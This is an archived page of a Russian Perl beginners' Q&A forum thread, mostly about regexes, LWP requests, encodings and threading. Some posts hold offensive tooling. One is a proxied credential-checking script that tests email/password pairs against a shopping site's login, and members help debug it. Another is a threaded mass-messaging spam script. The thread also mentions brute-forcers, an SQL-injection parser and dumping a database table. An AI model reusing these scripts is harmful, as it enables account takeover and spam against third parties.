[Perl] Новичкам: задаем вопросы [Архив] - Страница 5

ph1l1ster

24.03.2009, 14:11

perl желательно, но смысл понятен, полюбому можно неиспользую for. ток как?)

akil

24.03.2009, 15:23

можно если написать
while($get->content){
if (/<a href=\"(.*)\">/)
{
print "$1\n";
}
}

demond

24.03.2009, 15:40

Я бы сделал что-то типа такого:
print $1 while($get->content =~ /<a href=\"(.*)\">/igm);
А вообще в регулярных выражениях есть еще такая штука: \G - граница, на которой остановился предыдущий глобальный поиск, выполняемый командой m/.../g, может она поможет, если такой код не сработает!

roddik

24.03.2009, 17:09

my @arr = $get->content =~ /<a href=\"(.*)\">/g;
print join "\n", @arr;

KaZ@NoVa

27.03.2009, 18:35

if ($get->content =~ /<a href=\"(.*)\">/)
{
print "$1\n";
}

выводит только первую найденную. как вывести все найденные?
Попробуй вместо 1 написать all

roddik

27.03.2009, 18:38

if ($get->content =~ /<a href=\"(.*)\">/)
{
print "$1\n";
}

выводит только первую найденную. как вывести все найденные?

my $a = q[f549ty3945g9h48hg34hg430ghgh4gh3470gh473g5834];
my @b = $a =~ /(\d+)/g;
print join "\n", @b;

__END__
549
3945
9
48
34
430
4
3470
473
5834

[dei]

27.03.2009, 22:53

Проблемы с компиляцией Perl 5.Подскажите!
<javascript:alert("Help!")>
http://www.activestate.com/activeperl/

zavra

30.03.2009, 00:21

Привет! Я хочу сграббить все главные темы с blogs.yandex.ru.
$req = $ua->get("http://blogs.yandex.ru")->as_string;
my $topic= $1 if $req=~/<i class=\"ico\"><\/i>(\w+)</;
printf "$topic";
Однако я получу только первую тему. Как сделать так, чтобы получить все три темы?

Kaimi

30.03.2009, 00:37

напиши типа

my @topic = $req =~ /<i class="ico\"><\/i>(\w+)</gm;
print @topic;

genom--

31.03.2009, 02:05

ps юзайте дефолтывою переменную куда совпадение с маской поиска закидывается $& чтобы лишний массив topic не пихать

KaZ@NoVa

31.03.2009, 18:46

товарищи спецалисты в пхп .. помогите нубу установить чат бородина на хосте
https://forum.antichat.ru/showpost.php?p=1200576&postcount=3/////.
а причём Perl?.. :D :D

Sleep

31.03.2009, 21:32

Народ есть ли в Perl альтернатива file_get_content как в PHP

ph1l1ster

31.03.2009, 21:58

Народ есть ли в Perl альтернатива file_get_content как в PHP

можно так

$answer->content =~ //

или так:

if(index($answer->content,"")>-1)

Sharky

01.04.2009, 01:17

Народ есть ли в Perl альтернатива file_get_content как в PHP
кури LWP

zavra

01.04.2009, 05:08

Посылаю запрос, только сервер не яндекс, я поменял, чтобы остаться в тайне -_-. Авторизацию по куки, поэтому отправляю туда свои куки. Почему в ответе только <html>?
Когда я посылаю тот же самый запрос через плагин для мазилы (Live Headers), то открывается вполне полная страница.
Спасибо
http://www.free-lance.ru/users/tonnon/upload/f_49d2b61a625dd.jpg

KaZ@NoVa

01.04.2009, 10:15

Народ есть ли в Perl альтернатива file_get_content как в PHP
Имеется ввиду file_get_contents? Если да, то, насколько я понял, эта функция имеет 2 назначения - побайтное чтение файла и чтение какого-либо URL.
Для первого случая в Perl используется read. Посмотреть можно здесь - http://www.arininav.ru/js/perl11.htm.

Во втором случае используется модуль LWP:

$url = 'http://vkontakte.ru';
use LWP::UserAgent;
$ua = LWP::UserAgent -> new();
$req = HTTP::Request -> new(GET => "$url");
$response = $ua -> request($req);
$page = $response -> content;
print "$page";

m0nzt3r

01.04.2009, 10:23

zavra, зачем там POST запрос то? нука, попробуй GET

eLWAux

01.04.2009, 10:49

$header = "GET http://yandex.ru/login HTTP/1.1\r\n".
"Host: yandex.ru\r\n".
"..........\r\n".
"Content-Length: 0\r\n\r\n";
примерно так, хотя
http://yandex.ru/login 404)

zavra

01.04.2009, 21:30

http://www.free-lance.ru/users/tonnon/upload/f_49d39defe26c9.png

ph1l1ster

01.04.2009, 21:56

if ($answ=~m/Коментарии <i>$(\d+)$<\/i>/ ){ print "$com";}

а лучше сделай так:
my @com = $get->content =~ /Коментарии <i>$(\d+)$<\/i>/g;
print join "\n", @com;

п.с нафига в скриншоте то?!

eLWAux

01.04.2009, 22:00

$com = ($answ =~ /Коментарии <i>$(\d+)$<\/i>/);

zavra

01.04.2009, 22:53

my $name = $1 if $answ=~/<a href="\/users\/12\">(\S+)<\/a>/;
my $com = $1 if $answ =~/Комментарии <i>$(\d+)$<\/i>/;
printf "$name"."$com"

Ник мой он мне отдает, а комментарии нет.
Попробовал два варианта ниже, ничего :(

akil

01.04.2009, 23:01

У меня работает
if(/Комментарии.+$(\d+)$/) {print $1 . "\n"; }

roddik

01.04.2009, 23:09

my $name = $1 if $answ=~/<a href="\/users\/12\">(\S+)<\/a>/;
my $com = $1 if $answ =~/Комментарии <i>$(\d+)$<\/i>/;
printf "$name"."$com"

Ник мой он мне отдает, а комментарии нет.
Попробовал два варианта ниже, ничего :(

у тебя проблемы с кодировками, вызванные тем, что в первом регексе нету русских букв, а во втором - есть. сделай файл в утф8, пропиши в начале use utf8, юзай Encode чтобы сконвертить пагу в нужную кодировку, если сам не разберешься, скинь сюда нужный урл

zavra

02.04.2009, 03:29

нужную [/B]кодировку,

страница-то и есть в утф8( а в какую "нужную"?

flabber

02.04.2009, 06:22

cp-1251 по идее...как там пишется нипомню...

roddik

02.04.2009, 12:55

страница-то и есть в утф8( а в какую "нужную"?

а в какой сорцы?

zavra

02.04.2009, 16:12

а в какой сорцы?
в утф-8

roddik

02.04.2009, 16:40

в утф-8

стоит use utf8 в начале?

zavra

02.04.2009, 17:04

Malformed UTF-8 character (unexpected non-continuation byte 0xee, immediately af
ter start byte 0xca) at test2.pl line 19.
Malformed UTF-8 character (unexpected non-continuation byte 0xec, immediately af
ter start byte 0xee) at test2.pl line 19.
Malformed UTF-8 character (unexpected non-continuation byte 0xec, immediately af
ter start byte 0xec) at test2.pl line 19.
Malformed UTF-8 character (unexpected non-continuation byte 0xe5, immediately af
ter start byte 0xec) at test2.pl line 19.
Malformed UTF-8 character (unexpected non-continuation byte 0xed, immediately af
ter start byte 0xe5) at test2.pl line 19.
Malformed UTF-8 character (unexpected non-continuation byte 0xf2, immediately af
ter start byte 0xed) at test2.pl line 19.
Malformed UTF-8 character (unexpected non-continuation byte 0xe0, immediately af
ter start byte 0xf2) at test2.pl line 19.
Malformed UTF-8 character (unexpected non-continuation byte 0xf0, immediately af
ter start byte 0xe0) at test2.pl line 19.
Malformed UTF-8 character (unexpected non-continuation byte 0xe8, immediately af
ter start byte 0xf0) at test2.pl line 19.
Malformed UTF-8 character (unexpected non-continuation byte 0xe8, immediately af
ter start byte 0xe8) at test2.pl line 19.
Malformed UTF-8 character (unexpected non-continuation byte 0x2e, immediately af
ter start byte 0xe8) at test2.pl line 19.
вот что пишет с use utf8

ph1l1ster

02.04.2009, 20:33

Немогу догнать как вытащить все внешние ссылки с сайта...

roddik

04.04.2009, 17:37

ph1l1ster,

use WWW::Mechanize;

my $mech = WWW::Mechanize->new();
$mech->get('http://lurkmore.ru/%D0%92%D0%B0%D1%83-%D0%B8%D0%BC%D0%BF%D1%83%D0%BB%D1%8C%D1%81');

my @links = $mech->find_all_links(url_regex => qr/https?:\/\/[^lurkmore\.ru]/);
for my $link (@links) {
print $link->url()."\n";
}

zavra, значит сорцы на самом деле не в утф

zavra

04.04.2009, 19:34

roddik

05.04.2009, 14:26

да, вероятно не в утф-8
блин, не могу скрип дописать из-за сирани кодировки :(

не сорцы страницы хтмл, а сорцы скрипта перл!

constanta

09.04.2009, 05:31

Граждане очень нужна помощь!!!

Замучался уже с этими соксами. у не работает хоть убей. Почему не знаю. Прошу помочь.ОЧЕНЬ НУЖНО!!!!

Без соксов все номрально пашет а как только подключаю - болт.
#!/usr/local/bin/perl -w

use LWP::UserAgent;
use IO::All;
use LWP::Protocol::socks;
$socks="хх.ххх.ххх.хх:ххххх";
$email="ххххххххххххххххххх";
$pass="хххххххххххх";
$use_socks=1;
$ua = new LWP::UserAgent(agent => 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.5) Gecko/20060719 Firefox/1.5.0.5');

if($use_socks) { $ua->proxy([qw(http https)] => 'socks://'.$socks); }

$req = HTTP::Request->new(POST=>'http://www.bonprix.ua/ua/login.htm');
$req->referer('http://www.bonprix.ua/ua/login.htm');
$req->content_language('ru');
$req->content_type('application/x-www-form-urlencoded');
$req->content('login='.$email.'&haslo='.$pass);
$result = $ua->request($req);

if($result->code == 302) {print "$email:$pass - GOOD\n";}
else { print "$email:$pass - BAD\n"; }

demond

09.04.2009, 10:22

Граждане очень нужна помощь!!!

Замучался уже с этими соксами. у не работает хоть убей. Почему не знаю. Прошу помочь.ОЧЕНЬ НУЖНО!!!!

Без соксов все номрально пашет а как только подключаю - болт.
#!/usr/local/bin/perl -w

use LWP::UserAgent;
use IO::All;
use LWP::Protocol::socks;
$socks="socks://хх.ххх.ххх.хх:ххххх";
$email="ххххххххххххххххххх";
$pass="хххххххххххх";
$use_socks=1;
$ua = new LWP::UserAgent(agent => 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.5) Gecko/20060719 Firefox/1.5.0.5');

if($use_socks) { $ua->proxy([qw(http https)] => 'socks://'.$socks); }

$req = HTTP::Request->new(POST=>'http://www.bonprix.ua/ua/login.htm');
$req->referer('http://www.bonprix.ua/ua/login.htm');
$req->content_language('ru');
$req->content_type('application/x-www-form-urlencoded');
$req->content('login='.$email.'&haslo='.$pass);
$result = $ua->request($req);

if($result->code == 302) {print "$email:$pass - GOOD\n";}
else { print "$email:$pass - BAD\n"; }

У тебя в строке
if($use_socks) { $ua->proxy([qw(http https)] => 'socks://'.$socks); }
и в переменной $socks записано socks://, т.о. получается что адрес прокси начинается с socks://socks:// ! Может в этом косяк?

constanta

09.04.2009, 13:18

У тебя в строке
if($use_socks) { $ua->proxy([qw(http https)] => 'socks://'.$socks); }
и в переменной $socks записано socks://, т.о. получается что адрес прокси начинается с socks://socks:// ! Может в этом косяк?
Да да. тут я автоматом написал. подправил.
Но скрипт не работает. Почему не понимаю.Пожалуйста помогите!!!

ph1l1ster

09.04.2009, 14:07

Да да. тут я автоматом написал. подправил.
Но скрипт не работает. Почему не понимаю.Пожалуйста помогите!!!

почитай сначала чем отличаются socks и http proxy!
и темболее,

$ua->proxy([qw(http https)]

он работать не будет, хоть ты усрись!! :\ то же самое если бы ты в браузер сокс сунул.

Использование socks в LWP (http://xpoint.ru/know-how/Perl/GotovyieResheniya/LWPThroughSocks?3)

constanta

09.04.2009, 17:34

почитай сначала чем отличаются socks и http proxy!
и темболее,

$ua->proxy([qw(http https)]

он работать не будет, хоть ты усрись!! :\ то же самое если бы ты в браузер сокс сунул.

Использование socks в LWP (http://xpoint.ru/know-how/Perl/GotovyieResheniya/LWPThroughSocks?3)

Вообще то я основывался на вот этом модуле
LWP::Protocol::socks;

LWP::Protocol::socks (http://search.cpan.org/dist/LWP-Protocol-socks/lib/LWP/Protocol/socks.pm)

И смотрел чекер вкантакта - там точно так же использовался такой же модуль. И я так понимаю успешно.

ХЕЛПППП!!!С меня на пиво гарантировано тому кто поможет разобраться.

Kaimi

09.04.2009, 18:24

Что именно не работает то? Может у тебя соксы хреновые

constanta

09.04.2009, 23:37

Что именно не работает то? Может у тебя соксы хреновые
просто нет ответа через сокс. без сокса нормально а с соксом нет(
Соксы хорошие. Беру на сервисе. все нормально.

Kaimi

10.04.2009, 08:17

просто нет ответа через сокс. без сокса нормально а с соксом нет(
Соксы хорошие. Беру на сервисе. все нормально.

Нужен либо пример рабочего сокса, который ты используешь, либо пакеты отснифай и выложи сюда

j0ker13

13.04.2009, 21:25

суть вопроса)
на страничке есть java скрипты. при запросе этой странички в ответ ругается что браузер не поддерживает яваскрипты. как и где указать что поддерживает?)
копать в сторону LWP::UserAgent?
запрос передается постом и все заголовки передаю как в оригинале.
пс. на пхп с курлом все работает)

Spyder

14.04.2009, 00:02

ну наверно отправляй нормальный юзерагент, например ие7
так сложно сказать

j0ker13

14.04.2009, 01:43

2Spyder отправлял) отправлял как у меня в файрфоксе. не помогает
дело действительно в юзер-агенте?)

Kaimi

14.04.2009, 09:44

Ты адрес сайта дай, с которым работать пытаешься, тогда можно будет точно сказать.
Или код выложи свой

j0ker13

14.04.2009, 11:10

пытаюсь получить индекс.пхп чата бородина.
sub sends{
use LWP::UserAgent;
my $ua = LWP::UserAgent->new();
$url1=$_[0];
$post=$_[1];
$ua->agent("Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en; rv:1.8.1.4pre) Gecko/20070511 Camino/1.6pre");
$ua->default_header('Accept-Language' => "en-US,en;q=0.5");
$ua->default_header('Accept' => "text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5");
$ua->default_header('Accept-Charset' => "windows-1251,utf-8;q=0.7,*;q=0.7");
my $url = $host."/".$url1;
my $req = HTTP::Request->new( POST => $url );
$req->content($post);
my $res = $ua->request($req);
my $response = $res->content();
return $response;
}

sends("index.php","PHPSESSID=".$session."&clean-ident=1239095243&br_init_quot=%27php%22spb%22ru%27&br_servtime=1239095249&br_width=".$br_width."&br_height=".$br_height."&br_color=".$br_color."&br_zone=".$br_zone."&br_plugin=false&br_jsreferer=&br_usertime=1239095331906");

ph1l1ster

14.04.2009, 12:38

j0ker13, а в чём проблема в общем-то?

print $response;

j0ker13

14.04.2009, 15:18

2ph1l1ster
проблема в том что после print $response;
выводится надпись
<h2>Извините, работа с чатом невозможна!</h2>

Ваш браузер не поддерживает JavaScript.

Скорее всего, вы установили в браузере 'ВЫСОКУЮ' степень безопасности (восстановите настройки браузера).
вопрос в том как заставить сервак думать что скрипты поддерживаются и включены?)

j0ker13

15.04.2009, 20:47

и еще пара вопросов)
если в строке ищешь нужное с помощью регулярки где находится несколько правильных результатов как их выводить все?)
и еще) например в пхп быстрее работать с помощью курла чем с сокетами. а в перле какой способ быстрее чтоб запрашивать удаленную страничку?)

Gaus

16.04.2009, 15:21

и еще пара вопросов)
если в строке ищешь нужное с помощью регулярки где находится несколько правильных результатов как их выводить все?)
Например при парсинге ип:
my $data = "127.0.0.1:8080";
my $pars = $data =~ /(.*)\:(.*)/;
if($pars){
print $1.":".$2."\n";
}
Думаю здесь понятно
а в перле какой способ быстрее чтоб запрашивать удаленную страничку?)
Если просто получить страничку (типа как в пхп file_get_contents):
use LWP::UserAgent;
$ua = new LWP::UserAgent;
my $answ = $ua->get("http://ya.ru")->as_string;
print $answ;

ph1l1ster

16.04.2009, 21:46

->as_string;

Зачем ещё заголовками голову морочать
Достаточно и

->content;

если в строке ищешь нужное с помощью регулярки где находится несколько правильных результатов как их выводить все?)

так лучше:
@cont = $get->content =~ //g;
print join "\n", @cont;

roddik

17.04.2009, 00:41

и еще) например в пхп быстрее работать с помощью курла чем с сокетами. а в перле какой способ быстрее чтоб запрашивать удаленную страничку?)

use LWP::Simple qw[get];

my $page = get('http://google.com');

j0ker13

17.04.2009, 17:26

спс всем
воспользовался этим
@cont = $get->content =~ //g;
print join "\n", @cont;
накопились еще некоторые вопросы)
вывод в консоль происходит только после выполнения скрипта
можно ли заставить не буферизировать данные а сразу выводить?)
типа аналога flush в пхп)

Kaimi

17.04.2009, 17:55

$|=1; в начале скрипта добавь

KrafT

18.04.2009, 19:58

У меня такая проблема. Есть скрипт. Если он отрпавляет сообщение тому ID которого несушествует то произходит crash перла. Предпологаю что ето из-за того что скрипт неможет закончить свою задачу. Как с этим боротся?

Kaimi

18.04.2009, 20:18

Код покажи, иначе непонятно из-за чего такое происходит

TheSoul

18.04.2009, 21:27

отрпавляет сообщение тому ID которого несушествует то произходит crash перла

А если проверку сделать ? если есть то отправил если нет то берет другой id... лучше конечно чтобы код выложил.

KrafT

18.04.2009, 23:32

use warnings;
use LWP::UserAgent;
use HTTP::Cookies;
use threads;
use threads::shared;

my $threads = 1;
my $username = '';
my $password = '';
my $msg = '...';

open BASE, '<base.txt' || die "$!\n";
chomp (my @base : shared = <BASE>);
close BASE;

my $ua = LWP::UserAgent->new;
my $cookies = HTTP::Cookies->new;
$ua->cookie_jar($cookies);

$ua->post('http://toodoo.ru/account/login',
{
email => $username,
password => $password})->as_string;

for(0..$threads) {$trl[$_] = threads->create(\&send, $_);}
for(@trl) { $_->join; }

sub send {
while (1) {
my $id = shift @base;
return if (!$id);

$ua->post('http://toodoo.ru/inbox/compose',
{
user_id => $id,
message_text => $msg})->as_string;
print "$id\n";
sleep (1);
}
}

j0ker13

26.04.2009, 16:19

как правильно разделить работу скрипта на потоки если его работа связана с увеличением одного числа
пример:
$thr=5;
for ($t=1;$t<4000;$t=$t+5){
for(0..$thr) {
$trl[$_] = threads->create(\&func);
}
for(0..$thr) {
$trl[$_]->join;
}}
func{
$t++;
....
}
в func работа с этим числом(а точнее дамп таблы через лимит mysql)
или так?
@arr=(1..4000);
while(@arr){
for(0..$thr) {
$trl[$_] = threads->create(\&func);
}
for(0..$thr) {
$trl[$_]->join;
}}
}
func {
$t=shift(@arr);
...
}
оба способа работают но жутко тормозят. первый сжирает много памяти... или как оптимизировать хоть один? или есть более красивее варианты?

Kaimi

26.04.2009, 16:33

Попробуй типа

use warnings;
use threads;
use threads::shared;

my $tn = 5;
my @trl = ();

my $start : shared = 1;
my $end = 4000;

for(0..$tn-1) { $trl[$_] = threads->create(\&func, $_) }
for(@trl) { $_->join }

sub func
{
while($start < $end)
{
{lock($start); $start++;} print $start."\n";
}
}

j0ker13

26.04.2009, 16:55

2Kaimi
работает но даже с запросами, $start идет по порядку...
хотя netstat показывает пять соединений у перла)
и вроде не грузит ни проц ни память)
и $end разве не нада расшаривать?

razb

26.04.2009, 17:00

$end разве не нада расшаривать?
Не нужно, нужно расшаривать те переменные которые изменяются в процессе работы нитей, а в данном случае $end используется только для чтения.

j0ker13

26.04.2009, 17:03

спс ясно) а как всетаки сделать многопоточность?)

razb

26.04.2009, 17:07

Kaimi тебе привел пример, вот его и бери за основу.

j0ker13

26.04.2009, 17:15

взял за основу. по теории должна быть многопоточность но как уже говорил переменная выводится по порядку что видимо означает что все потоки выполняются последовательно.
в тех примерах что я привел выше переменная выодится хаотично а не по порядку...
и все таки как оптимизировать мой скрипт(жрет много памяти):
use threads;
use threads::shared;
use LWP::UserAgent;
|=1;
$thr = 10;
$ua = LWP::UserAgent->new();
$t=1;
print "start...\n";
while($t<100){
for(0..$thr) {
print "new thread...\n";
$trl[$_] = threads->create(\&func,$t++);
}
for(0..$thr) {
$trl[$_]->join;
}

sub func{
$t=$_[0];
print "new zap...$t\n";
my $res = $ua->post( "http://mysite.com", {email => $email } )->as_string;
$res=~m/1(.*)2/ig;
print $t." ".$1."\n";
}

mr-leon

28.04.2009, 16:57

привет всем допустим у меня есть брутт на пёрл как его пременить помогите кто сможет

TheSoul

28.04.2009, 19:13

Как запустить ? ... создай файл(в папке со скриптом) 1.bat в нем cmd.exe напиши, потом нажми на него ) и напиши perl имя скрипта.pl

Gaus

29.04.2009, 21:42

привет всем допустим у меня есть брутт на пёрл как его пременить помогите кто сможет
Ну для начала нужно скачaть ActivePerl (http://downloads.activestate.com/ActivePerl/Windows/5.10/ActivePerl-5.10.0.1004-MSWin32-x86-287188.msi)

demond

30.04.2009, 13:27

mr-leon, брут чего? И где ты его собираешься запускать? С локального или с сервера? Можно по подробнее, если хочешь расширенный ответ.

ph1l1ster

30.04.2009, 14:18

Логинюсь в vbulletin:

$url="форум";
$client = LWP::UserAgent->new( ) or die;
$client->agent('Opera/9.0 (Windows NT 5.1; U; en; (R1 1.5))');
$cookie_jarr = HTTP::Cookies->new();
$client->cookie_jar( $cookie_jarr );
$answer = $client->post($url,
Content => [
"vb_login_username" => "логин",
"vb_login_password" => "пасс",
"do" => "login",
],);

Логин удачный идём дальше на страницу того что нужно сграбить:

$url="форум&page=1";
$client = LWP::UserAgent->new( ) or die;
$client->agent('Opera/9.0 (Windows NT 5.1; U; en; (R1 1.5))');
$client->cookie_jar( $cookie_jarr );
$answer = $client->get($url);
$answer->content =~ /рерулярка/g;

потом иду на следующюю страницу, также, только естественно уже $url="форум&page=2"

но, по регулярке не грабиться ничего, даже контент страницы не показывает. помогите разобраться :)

т.е. дальше первой страницы ничего неграбится. sleep непомогает

если беру страницы из .тхт то всегда ошибка:

Can't call method "scheme" on an undefined value at C:/Perl/lib/HTTP/Cookies.pm
line 44, <PAGE> line 315.

demond

30.04.2009, 14:39

пробовал просто выводить содержимое страниц? Навигация вообще происходит или он дальше 1-й страницы не идет?
Может имеет смысл еще раз логинется перед получением новой страницы?

ph1l1ster

01.05.2009, 18:27

demond, с этим разобрался, невнимательность)

далее:

опять с куками, беру url из списка и перехожу по ней, выдазит ошибка:

Can't call method "scheme" on an undefined value at C:/Perl/lib/HTTP/Cookies.pm line 44, <URLS> line 71.

sub next{
open(A, ">>a.txt");
open(URLS, "urls.txt");
@urlo = <URLS>;
$client = LWP::UserAgent->new( ) or die;
$client->agent('Opera/9.0 (Windows NT 5.1; U; en; (R1 1.5))');
$client->cookie_jar( $cookie_jarr );
$answer = $client->get($urlo);
foreach $urlo (@urlo)
{@qwerty = $answer->content =~ /(.*)/g;}
print A join "\n", @qwerty;}

а если поодной url типа $answer = $client->get($urlo[1]);

то всё норм! где ошибка?? :)

roddik

02.05.2009, 11:30

sub next{
open(A, ">>a.txt");
open(URLS, "urls.txt");
@urlo = <URLS>;
$client = LWP::UserAgent->new( ) or die;
$client->agent('Opera/9.0 (Windows NT 5.1; U; en; (R1 1.5))');
$client->cookie_jar( $cookie_jarr );
$answer = $client->get($urlo);
foreach $urlo (@urlo)
{@qwerty = $answer->content =~ /(.*)/g;}
print A join "\n", @qwerty;}

$answer = $client->get($urlo); - а где вообще задана переменная $urlo ? и цикл зачем? просто вывести контент н раз?

упд: попробуй strict + warnings

упд2:
foreach $urlo (@urlo)
{ $answer = $client->get($urlo);
@qwerty = $answer->content =~ /(.*)/g;
print A join "\n", @qwerty;
}
}

.:[Dumi]:.

02.05.2009, 11:32

лолло

krypt3r

04.05.2009, 10:46

sub next {
open(A, ">>a.txt");
open(URLS, "urls.txt");
@urlo = <URLS>;
$client = LWP::UserAgent->new( ) or die;
$client->agent('Opera/9.0 (Windows NT 5.1; U; en; (R1 1.5))');
$client->cookie_jar( $cookie_jarr );
$answer = $client->get($urlo);
foreach $urlo (@urlo) {
@qwerty = $answer->content =~ /(.*)/g;
}
print A join "\n", @qwerty;
}

Мде, ну и код

#!/usr/bin/perl
use strict;
use warnings;
use diagnostics;

sub next {
open(A, ">>a.txt");
# Принято использовать вид open my $A, '>>', 'a.txt' or die "open() error: $!\n";

open(URLS, "urls.txt");
# open my $URLS, '<', 'urls.txt' or die "Shit, an error: $!\n!";

@urlo = <URLS>;
$client = LWP::UserAgent->new( ) or die;
$client->agent('Opera/9.0 (Windows NT 5.1; U; en; (R1 1.5))');
$client->cookie_jar( $cookie_jarr );
$answer = $client->get($urlo);
# А не будет ли тут Undefined переменной? $urlo не есть @urlo, также не есть его элемент
foreach $urlo (@urlo) {
@qwerty = $answer->content =~ /(.*)/g;
}
# тут вообще я упал и не могу встать, массив @qwerty при каждом проходе цикла переписывается. Зачем? Что вообще хотелось получить этой регуляркой?

print A join "\n", @qwerty;

# А файлы принято закрывать. close $URLS; close $A;
}

упд: попробуй strict + warnings
Это вообще должно быть в любом скрипте.

Amoura

05.05.2009, 17:59

По ходу чтения книги, наткнулся на такую вешь. При запуске программы вылетает ошибка. Вот сам код:

!#usr/bin/perl -w

$im_thinking_of=int(rand10);
print "Введите число от 0 до 9:";
$guess=<STDIN>;
chomp $guess;

if ($guess > $im_thinking_of) {
print "Перебор!\n";
} elsif ($guess < $im_thinking_of) {
print "Недобор!\n";
} else {
print "Вы угадали!\n";
}

Текст ошибки:
Can't modify not in scalar assignment at C:\programs\game.pl line 3, near ");"

Kaimi

05.05.2009, 18:20

Восклицательный знак не туда поставил в первой строке

Amoura

06.05.2009, 11:10

Еще такой вопрос. Когда запускаю скрипт на выполнение через командную строку, русский язык коряво отображается, как сделать, чтобы нормально отображался.

krypt3r

06.05.2009, 11:36

Сменить кодировку всего скрипта

ph1l1ster

06.05.2009, 11:39

Еще такой вопрос. Когда запускаю скрипт на выполнение через командную строку, русский язык коряво отображается, как сделать, чтобы нормально отображался.

общий вопрос, к перлу не относящийся.

русик xterm
http://www.google.com/search?hl=ru&client=opera&rls=ru&hs=Dfw&num=100&q=%D1%80%D1%83%D1%81%D0%B8%D1%84%D0%B8%D0%BA%D0%B0 %D1%86%D0%B8%D1%8F+xterm&btnG=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA&lr=

http://www.google.com/search?hl=ru&client=opera&rls=ru&hs=Sfw&num=100&q=%D1%80%D1%83%D1%81%D0%B8%D1%84%D0%B8%D0%BA%D0%B0 %D1%86%D0%B8%D1%8F+%D0%BA%D0%BE%D0%BD%D1%81%D0%BE% D0%BB%D0%B8&btnG=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA&lr=

консоль винды:
http://www.google.com/search?client=opera&rls=ru&q=%D1%80%D1%83%D1%81%D1%81%D0%BA%D0%B8%D0%B9+%D1%8 F%D0%B7%D1%8B%D0%BA+%D0%B2+%D0%BA%D0%BE%D0%BD%D1%8 1%D0%BE%D0%BB%D0%B8+windows&sourceid=opera&ie=utf-8&oe=utf-8

Kaimi

06.05.2009, 13:29

Еще такой вопрос. Когда запускаю скрипт на выполнение через командную строку, русский язык коряво отображается, как сделать, чтобы нормально отображался.

sub cyr
{
($_)=@_;
y/А-яЁё/\x80-\xaf\xe0-\xf1/;
return $_;
}

Sharky

07.05.2009, 18:20

как из страницы полученной через LWP выдрать ВСЕ значения найденные регуляркой

Kaimi

07.05.2009, 18:54

@array = $response =~ /anything/g;

Amoura

09.05.2009, 04:06

такой вот вопрос.

Как извлечь все слова из каждой строки?

#!usr/bin/perl -w

open(WORD, "C:/programs/word.txt") || die "$!"; # открываем файл
@word=<WORD>; # считываем строки в массив
chomp @word;
close(WORD);

$_/\do+g/;
@word=grep length{$_}>4, @words; # поиск слов
chomp @words;

open(WORDS, ">C:/programs/words.txt") || die "$!"; # запись слов в новый файл
if (! Print WORDS "Запись сделана ", @words, "\n") {
warn "Ошибка при записи в файл words: $!";
}
Close(WORDS);

roddik

09.05.2009, 13:17

open(WORD, "C:/programs/word.txt") || die "$!"; # открываем файл
my $word = join '', <WORD>;
close WORD;

my @words = $word =~ /(\w{5,})/g; # поиск слов
open(WORDS, ">C:/programs/words.txt") || die "$!";
print WORDS join("\n", @words);
close WORDS;

hors_de_prix

10.05.2009, 14:44

Я достал недавно Граббер на pl
и в приложении был парсер но этот парсер не дописан . Помогите дописать скрипт . (при клике дает ошибку)

вот :

#!/usr/bin/perl
print "===================================\n";
print "=SQL-injection Parser =\n";
print "===================================\n";

open(TT, 'C:\Perl\result.txt');
open(F, '>C:\Perl\result2.txt');
while ($line = <TT>)
{
$x=index($line, "^");
$z=rindex($line, "^" );
if($x>-1 && $z>-1){
$long=$z-$x;
$res=substr($line, ($x+1), ($long-1)
print F $res. "\n";
$x=-1;
$z=-1;
}
}
print "===================================\n";
print "= DONE =\n";
print "===================================\n";
close TT;
close F;

Amoura

10.05.2009, 14:54

Я достал недавно Граббер на pl
и в приложении был парсер но этот парсер не дописан . Помогите дописать скрипт . (при клике дает ошибку)

вот :

#!/usr/bin/perl
print "===================================\n";
print "=SQL-injection Parser =\n";
print "===================================\n";

open(TT, 'C:\Perl\result.txt');
open(F, '>C:\Perl\result2.txt');
while ($line = <TT>)
{
$x=index($line, "^");
$z=rindex($line, "^" );
if($x>-1 && $z>-1){
$long=$z-$x;
$res=substr($line, ($x+1), ($long-1)
print F $res. "\n";
$x=-1;
$z=-1;
}
}
print "===================================\n";
print "= DONE =\n";
print "===================================\n";
close TT;
close F;

$res=substr($line, ($x+1), ($long-1) в конце поставь ); чтобы получилось так:
$res=substr($line, ($x+1), ($long-1));

hors_de_prix

10.05.2009, 15:15

Огромное спасибо ! Я даже и не знал что ошибка в закрытие .

Велемир

23.05.2009, 01:34

Маленькиие вопросики:

1.Недавно занимался пхп.Не повредит ли изучение Perl уже заложенным основам РНР(Непривычно,брр).

2.Без применения chomp() проверки всегда оказываются *левыми*,хотя я и не вбивал пробельных символов. Почему ?

ЗЫ: Благодарен за любые ответы по делу.Спасибо)

eLWAux

23.05.2009, 01:51

1. нет. главное - желание
2. перенос строки
3. ой)

Spyder

23.05.2009, 02:09

синтаксис пшп и перла в чём то очень схожи
сказывается наследственность си
кстати в перле нулбайт тоже является концом строки)

Велемир

23.05.2009, 02:41

Хех)))Согласен,но иногда его *схожесть* порой пугает,и я начинаю тупить в пыхыпы:(.Вот и боюсь)

Т-34

23.05.2009, 14:23

Php и си - совершенно разные вещи, и их нельзя сравнивать.
тогда объясни в чём они разные)

я какбэ на этих языках программирую и читаю книжку, а не статьи

у меня диплом, а у тебя алгебра
http://forum.antichat.ru/thread120596.html
(и тут ты хочешь отписать, что это брату, это не мне))

wildshaman

23.05.2009, 14:26

это языки программирования блядь, чё их блядь не сравнить то ёбана? ты наверно хочешь приебаться к компилируемому и интерпретируемому, ога?)

я какбэ на этих языках программирую и читаю книжку, а не статьи

у меня диплом, а у тебя алгебра
http://forum.antichat.ru/thread120596.html
(и тут ты хочешь отписать, что это брату, это не мне))

ебана, моторная лодка и поезд - средства передвижения, так схуяли же их не сравнить?
php и си - совершенно разные вещи, хотя бы брать в расчет то, что одно интерпретируемое, а другое - компилируемое

ПыСы:не-а, даже пытаться не буду отмазываться, это было мне :)

Т-34

23.05.2009, 14:31

php и си - совершенно разные вещи, хотя бы брать в расчет то, что одно интерпретируемое, а другое - компилируемое
и что? ты процитировал мои слова, дальше что? где характеристика? чё ты тут пытаешься поспорить о том, в чём не разбираешься?

wildshaman

